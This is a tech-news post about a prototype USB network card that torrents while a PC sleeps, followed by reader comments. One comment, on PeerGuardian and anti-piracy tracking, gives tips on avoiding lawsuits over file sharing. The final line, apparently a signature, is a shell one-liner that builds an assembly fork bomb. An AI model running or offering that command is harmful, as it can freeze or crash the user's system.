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USB-Based NIC Torrents While Your PC Sleeps
jangel sends us to WindowsForDevices.com for news on a prototype device created by researchers from Microsoft and UC San Diego. It's a USB-based NIC that includes its own ARM processor and flash storage, and can download files or torrent while a host PC is sleeping. As a result, its inventors say, the "Somniloquy" device slashes power usage by up to 50x. The device requires a few tweaks on the host OS side save state before sleeping. The prototype works with a Vista host but the hardware comprising the NIC is based on a Linux stack. Here is the research paper (PDF).
You better use the competitor of your favorite coffee shop.
In theory there is no difference between theory and practice. In practice there is. - Yogi Berra
PeerGuardian is a trap. Consider.
Loads of people are torrenting at any one time. Probably the vast majority of them will torrent a few files and then stop. A small minority will torrent 24/7 maxing out their pipes.
Now if you want to shut down filesharing it is this small minority that you want to target, firstly because they are a legally inviting target - it's hard for them to claim they are innocent if you can show they were maxing out their DSL connection 24/7. Also from a PR point of view it's better to sue the hard core pirates than the casual ones - you avoid headlines about grandmothers being sued for thousands of dollars because their grandkids downloaded a couple of songs. Last but not least they are the ones seeding most of the files because the casual torrenters download what they want and then shutdown the application.
Normally of course there's no good way looking at one torrent to work out which torrenters are the hard core minority and which are casual torrenters.
Enter PeerGuardian.
The hard core torrenters will download and install it and the casual ones won't bother. Now you have an easy way to distinguish the two. Try to connect from a few IP addresses on the blocklist, and try to connect from a few that aren't. The last point is important - anti piracy organisations have lots of employees and could easily ask those employees to run some sort of tool from their home DSL connection, or they could buy a few DSL modems and stick them in the basement, or use a VPN to a pool of residential IP connections. I.e. it's quite easy for them to get hold of IP addresses which are not in their organisational IP block. So long as they don't attack torrents from those IP addresses there is no reason for those addresses to be blacklisted.
So PeerGuardian provides no protection for downloaders and it provides very useful information to anti piracy organisations.
If you don't want to get sued, don't seed and don't install things like PeerGuardian.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;